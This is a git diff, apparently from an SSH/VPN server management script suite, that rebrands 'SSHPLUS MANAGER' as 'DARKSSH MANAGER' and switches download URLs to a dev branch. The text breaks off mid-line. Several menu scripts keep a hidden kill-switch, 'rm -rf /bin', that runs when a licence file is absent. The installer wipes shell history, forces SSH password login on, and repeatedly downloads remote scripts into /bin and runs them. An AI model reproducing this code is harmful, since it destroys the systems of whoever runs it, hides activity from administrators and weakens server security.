limit_ssh () { while true $x != "ok" do -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -89,7 +89,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -104,7 +104,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Menu_UP/menuV4/criarpay b/Install/Menu_UP/menuV4/criarpay index 587cc0d..2c14f84 100644 --- a/Install/Menu_UP/menuV4/criarpay +++ b/Install/Menu_UP/menuV4/criarpay @@ -31,7 +31,7 @@ IP=$(cat /etc/IP) x="ok" #PAYYLOADS -link_bin="https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/payloads" +link_bin="https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/payloads" [[ ! -e /bin/payloads ]] && wget -O /bin/payloads ${link_bin} > /dev/null 2>&1 && chmod +x /bin/payloads criarpay () { diff --git a/Install/Menu_UP/menuV4/ferramentascodes b/Install/Menu_UP/menuV4/ferramentascodes index 944a810..87f7836 100644 --- a/Install/Menu_UP/menuV4/ferramentascodes +++ b/Install/Menu_UP/menuV4/ferramentascodes @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -37,7 +37,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu +[[ ! -d /etc/DARKssh ]] && rm -rf /bin/menu ${comando[0]} > /dev/null 2>&1 ${comando[1]} > /dev/null 2>&1 touch $HOME/fim @@ -82,7 +82,7 @@ rm -rf $HOME/speed while true $x != "ok" do -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -100,7 +100,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -115,7 +115,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Menu_UP/menuV4/menu b/Install/Menu_UP/menuV4/menu index 8238289..a042432 100644 --- a/Install/Menu_UP/menuV4/menu +++ b/Install/Menu_UP/menuV4/menu @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -63,7 +63,7 @@ function autoexec () { while true $x != "ok" do -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -81,7 +81,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -96,7 +96,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Menu_UP/menuV4/usercodes b/Install/Menu_UP/menuV4/usercodes index fd75e88..dde210d 100644 --- a/Install/Menu_UP/menuV4/usercodes +++ b/Install/Menu_UP/menuV4/usercodes @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -71,7 +71,7 @@ function limit_ssh () { while true $x != "ok" do -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -89,7 +89,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -104,7 +104,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Menu_UP/menuV4/utilitarios b/Install/Menu_UP/menuV4/utilitarios index 3b538b3..521b36c 100644 --- a/Install/Menu_UP/menuV4/utilitarios +++ b/Install/Menu_UP/menuV4/utilitarios @@ -5,7 +5,7 @@ comando[0]="$1" comando[1]="$2" ( [[ -e $HOME/fim ]] && rm $HOME/fim -[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1 +[[ ! -e /usr/lib/darkssh ]] && rm -rf /bin/menu > /dev/null 2>&1 ${comando[0]} -y > /dev/null 2>&1 ${comando[1]} -y > /dev/null 2>&1 touch $HOME/fim @@ -46,7 +46,7 @@ teste_cache="#CACHE DO SQUID" [[ `grep -c "^$teste_cache" $squid_var` -eq 0 ]] && _cachesquid="\033[1;31m○ " || _cachesquid="\033[1;32m◉ " } [[ -e /etc/vnc-on ]] && _vnc=$(echo -e "\033[1;32m◉ ") || _vnc=$(echo -e "\033[1;31m○ ") -[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") +[[ -e /etc/Dark-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ") stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ") [[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1 @@ -64,7 +64,7 @@ else system=$(cut -d' ' -f1 /etc/issue.net) fi _ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l) -[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0" +[[ "$(cat /etc/DARKssh/Exp)" != "" ]] && _expuser=$(cat /etc/DARKssh/Exp) || _expuser="0" [[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0" [[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0" _onli=$(($_ons + $_onop + $_ondrp)) @@ -79,7 +79,7 @@ _userexp=$(printf '%-5s' "$_expuser") _tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l) clear echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" -echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m" +echo -e "\E[41;1;37m ⇱ DARKSSH MANAGER ⇲ \E[0m" echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR " echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m" diff --git a/Install/Sources_list/Instala_SourceList.txt b/Install/Sources_list/Instala_SourceList.txt index c18c528..43c77d6 100644 --- a/Install/Sources_list/Instala_SourceList.txt +++ b/Install/Sources_list/Instala_SourceList.txt @@ -1,7 +1,7 @@ Ubuntu 16 -wget -O /etc/apt/sources.list https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/Sources_list/16.04/sources.list +wget -O /etc/apt/sources.list https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/Sources_list/16.04/sources.list Ubuntu 18 -wget -O /etc/apt/sources.list https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/Sources_list/18.04/sources.list +wget -O /etc/apt/sources.list https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/Sources_list/18.04/sources.list diff --git a/Install/TCP-Speed/README.md b/Install/TCP-Speed/README.md index a6ed74f..181626b 100644 --- a/Install/TCP-Speed/README.md +++ b/Install/TCP-Speed/README.md @@ -1,10 +1,10 @@ # TCP-Tweaker-1.0 (TCP-SPEED) -![logo](https://github.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/blob/master/Imagenes/TCP_Tweaker_TCP_SPEED.jpg) +![logo](https://github.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/blob/master/Imagenes/TCP_Tweaker_TCP_SPEED.jpg) ## :book: Installation -apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/tcptweaker.sh; chmod +x tcptweaker.sh; ./tcptweaker.sh +apt-get update -y; apt-get upgrade -y; wget https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/tcptweaker.sh; chmod +x tcptweaker.sh; ./tcptweaker.sh ``` PARA EJECUTAR NUEVAMENTE TCP-SPPED EXECUTE EL COMANDO ( ./tcptweaker.sh ) diff --git a/Install/Url.txt b/Install/Url.txt index e432fc9..3e910ff 100644 --- a/Install/Url.txt +++ b/Install/Url.txt @@ -1,26 +1,26 @@ ________________________ Localizador de recursos: -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Plus +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Dark -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Modulos/$_arq +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Modulos/$_arq -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/list +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/list -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/versao +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/versao -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/stunnel.pem +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/stunnel.pem -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/sshd_config +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/sshd_config -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/addIP +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/addIP -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/slowdns +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/slowdns -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/dns-server +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/dns-server -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/dns +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/dns https://www.dropbox.com/s/tgkxdwb03r7w59r/badvpn-udpgw @@ -30,11 +30,11 @@ https://raw.githubusercontent.com/shellscriptx/shellbot/master/ShellBot.sh https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/EasyRSA-3.0.1.tgz +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/EasyRSA-3.0.1.tgz https://github.com/OpenVPN/easy-rsa/releases/download/3.0.1/EasyRSA-3.0.1.tgz -https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/resolved.conf +https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/resolved.conf __________________ Localizador de IP: diff --git a/Install/dns b/Install/dns index 0311a10..c17a97c 100644 Binary files a/Install/dns and b/Install/dns differ diff --git a/Install/list b/Install/list index e4580f4..f7d52cc 100644 --- a/Install/list +++ b/Install/list @@ -1,13 +1,13 @@ #!/bin/bash #==================================================== -# SCRIPT: CONEXAO SSHPLUS MANAGER +# SCRIPT: CONEXAO DARKSSH MANAGER # DATA ATT: 28 de Set 2020 # DESENVOLVIDO POR: CRAZY_VPN # CONTATO TELEGRAM: http://t.me/crazy_vpn -# CANAL TELEGRAM: http://t.me/sshplus +# CANAL TELEGRAM: http://t.me/darkssh #==================================================== -_lvk=$(wget -qO- https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/versao) -IP=$(wget -qO- sshplus.xyz/meuip.php) +_lvk=$(wget -qO- https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/versao) +IP=$(wget -qO- darkssh.xyz/meuip.php) IP2=$(wget -qO- http://whatismyip.akamai.com/) [[ "$IP" != "$IP2" ]] && ipdovps="$IP2" || ipdovps="$IP" echo -e "$ipdovps" >/etc/IP @@ -18,11 +18,11 @@ dpkg-reconfigure --frontend noninteractive tzdata >/dev/null 2>&1 [[ -z $lst1 ]] && { rm -rf $_Ink/list >/dev/null 2>&1 && cat /dev/null >~/.bash_history && history -c && exit 0 } -[[ ! -d /etc/SSHPlus ]] && mkdir /etc/SSHPlus -[[ ! -d /etc/SSHPlus/senha ]] && mkdir /etc/SSHPlus/senha -[[ ! -e /etc/SSHPlus/Exp ]] && touch /etc/SSHPlus/Exp -[[ ! -d /etc/SSHPlus/userteste ]] && mkdir /etc/SSHPlus/userteste -[[ ! -d /etc/SSHPlus/.tmp ]] && mkdir /etc/SSHPlus/.tmp +[[ ! -d /etc/DARKssh ]] && mkdir /etc/DARKssh +[[ ! -d /etc/DARKssh/senha ]] && mkdir /etc/DARKssh/senha +[[ ! -e /etc/DARKssh/Exp ]] && touch /etc/DARKssh/Exp +[[ ! -d /etc/DARKssh/userteste ]] && mkdir /etc/DARKssh/userteste +[[ ! -d /etc/DARKssh/.tmp ]] && mkdir /etc/DARKssh/.tmp [[ ! -d /etc/bot ]] && mkdir /etc/bot [[ ! -d /etc/bot/info-users ]] && mkdir /etc/bot/info-users [[ ! -d /etc/bot/arquivos ]] && mkdir /etc/bot/arquivos @@ -30,18 +30,18 @@ dpkg-reconfigure --frontend noninteractive tzdata >/dev/null 2>&1 [[ ! -d /etc/bot/suspensos ]] && mkdir /etc/bot/suspensos [[ ! -e /etc/bot/lista_ativos ]] && touch /etc/bot/lista_ativos [[ ! -e /etc/bot/lista_suspensos ]] && touch /etc/bot/lista_suspensos -echo -e 'by: @CRAZY_VPN' >/usr/lib/sshplus && cat /usr/lib/sshplus >$lst2/licence && cat /usr/lib/sshplus > /etc/SSHPlus/.tmp/crazy +echo -e 'by: @CRAZY_VPN' >/usr/lib/darkssh && cat /usr/lib/darkssh >$lst2/licence && cat /usr/lib/darkssh > /etc/DARKssh/.tmp/crazy netstat -nplt | grep -w 'apache2' | grep -w '80' && sed -i "s/Listen 80/Listen 81/g" /etc/apache2/ports.conf && service apache2 restart [[ "$(grep -o '#Port 22' /etc/ssh/sshd_config)" == "#Port 22" ]] && sed -i "s;#Port 22;Port 22;" /etc/ssh/sshd_config && service ssh restart grep -v "^PasswordAuthentication" /etc/ssh/sshd_config >/tmp/passlogin && mv /tmp/passlogin /etc/ssh/sshd_config echo "PasswordAuthentication yes" >>/etc/ssh/sshd_config _dir1='/bin' -_dir2='/etc/SSHPlus' +_dir2='/etc/DARKssh' rm $_dir2/ShellBot.sh $_dir2/cabecalho $_dir2/open.py $_dir2/proxy.py >/dev/null 2>&1 -_mdls=("addhost" "delhost" "alterarsenha" "criarusuario" "expcleaner" "mudardata" "remover" "criarteste" "verifbot" "droplimiter" "alterarlimite" "ajuda" "sshmonitor" "badvpn" "userbackup" "instsqd" "blockt" "otimizar" "menu" "speedtest" "banner" "senharoot" "reiniciarservicos" "reiniciarsistema" "attscript" "conexao" "delscript" "detalhes" "botssh" "infousers" "slow_dns" "verifatt" "limiter" "uexpired" "cabecalho" "bot" "open.py" "proxy.py") +_mdls=("addhost" "autoreboot" "delhost" "alterarsenha" "criarusuario" "expcleaner" "mudardata" "remover" "criarteste" "verifbot" "droplimiter" "alterarlimite" "ajuda" "sshmonitor" "badvpn" "userbackup" "instsqd" "blockt" "otimizar" "menu" "speedtest" "banner" "senharoot" "reiniciarservicos" "reiniciarsistema" "attscript" "conexao" "delscript" "detalhes" "botssh" "infousers" "slow_dns" "verifatt" "limiter" "uexpired" "cabecalho" "bot" "open.py" "proxy.py") for _arq in ${_mdls[@]}; do [[ -e $_dir1/$_arq ]] && rm $_dir1/$_arq >/dev/null 2>&1 - wget -c -P $_dir1 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Modulos/$_arq + wget -c -P $_dir1 https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Modulos/$_arq chmod +x $_dir1/$_arq done mv $_dir1/cabecalho $_dir1/bot $_dir1/open.py $_dir1/proxy.py $_dir2 @@ -64,7 +64,7 @@ clear #INICIO AUTOMATICO' >/etc/autostart chmod +x /etc/autostart } || { - [[ $(ps x | grep "bot_plus" | grep -v grep | wc -l) != '0' ]] && wget -qO- https://raw.githubusercontent.com/shellscriptx/shellbot/master/ShellBot.sh >/etc/SSHPlus/ShellBot.sh + [[ $(ps x | grep "bot_plus" | grep -v grep | wc -l) != '0' ]] && wget -qO- https://raw.githubusercontent.com/shellscriptx/shellbot/master/ShellBot.sh >/etc/DARKssh/ShellBot.sh for proc in $(ps x | grep 'dmS' | grep -v 'grep' | awk {'print $1'}); do screen -r -S "$proc" -X quit done @@ -82,7 +82,7 @@ crontab -r >/dev/null 2>&1 echo "* * * * * /etc/autostart" echo "0 */6 * * * /bin/uexpired" ) | crontab - -echo "$_lvk" | sed -n '1 p' | cut -d' ' -f2 >/bin/versao && cat /bin/versao >/home/sshplus +echo "$_lvk" | sed -n '1 p' | cut -d' ' -f2 >/bin/versao && cat /bin/versao >/home/darkssh wget https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 >/dev/null 2>&1 chmod +x jq-linux64 && mv jq-linux64 $(which jq) service cron restart >/dev/null 2>&1 diff --git a/Install/menuV1 b/Install/menuV1 index 62ae907..cbbc571 100644 --- a/Install/menuV1 +++ b/Install/menuV1 @@ -1,5 +1,5 @@ #!/bin/bash #Menu Original -wget -O /bin/menu https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Modulos/menu > /dev/null 2>&1; chmod +x /bin/menu; /bin/menu +wget -O /bin/menu https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Modulos/menu > /dev/null 2>&1; chmod +x /bin/menu; /bin/menu #fim diff --git a/Install/menuV2 b/Install/menuV2 index 20859ec..9d83e43 100644 --- a/Install/menuV2 +++ b/Install/menuV2 @@ -1,5 +1,5 @@ #!/bin/bash #Menu Adaptado Completo -wget -O /bin/menu https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/master/Install/Menu_UP/menuV2/menuV2; chmod +x /bin/menu; /bin/menu +wget -O /bin/menu https://raw.githubusercontent.com/sbatrow/DARKSSH-MANAGER/dev/Install/Menu_UP/menuV2/menuV2; chmod +x /bin/menu; /bin/menu #fim diff --git a/Install/menuV3 b/Install/menuV3 index cda8b24..2b84f98 100644 --- a/Install/menuV3 +++ b/Install/menuV3 @@ -1,7 +1,7 @@ #!/bin/bash #Menu Adaptado Base ADM -wget -O /bin/usercodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV3/usercodes; chmod +x /bin/usercodes -wget -O /bin/ferramentascodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV3/ferramentascodes; chmod +x /bin/ferramentascodes -wget -O /bin/menu https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV3/menu; chmod +x /bin/menu; /bin/menu +wget -O /bin/usercodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV3/usercodes; chmod +x /bin/usercodes +wget -O /bin/ferramentascodes https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV3/ferramentascodes; chmod +x /bin/ferramentascodes +wget -O /bin/menu https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/DARKSSH-MANAGER-FREE/master/Install/Menu_UP/menuV3/menu; chmod +x /bin/menu; /bin/menu #fim \ No newline at end of file diff --git a/Install/menuV4 b/Install/menuV4 index 2a86c2b..31c0222 100644 --- a/Install/menuV4 +++ b/Install/menuV4 @@ -2,17 +2,17 @@ #Menu Adaptado Base ADM Con Utilitarios # Utilitarios -wget -O /bin/criarpay https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/criarpay; chmod +x /bin/criarpay -wget -O /bin/fai2ban https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/fai2ban; chmod +x /bin/fai2ban -wget -O /bin/paysnd https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/paysnd; chmod +x /bin/paysnd -wget -O /bin/squidcache https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/squidcache; chmod +x /bin/squidcache -wget -O /bin/tcpspeed https://raw.githubusercontent.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE/master/Install/Menu_UP/menuV4/tcpspeed; chmod +x /bin/tcpspeed -wget -O 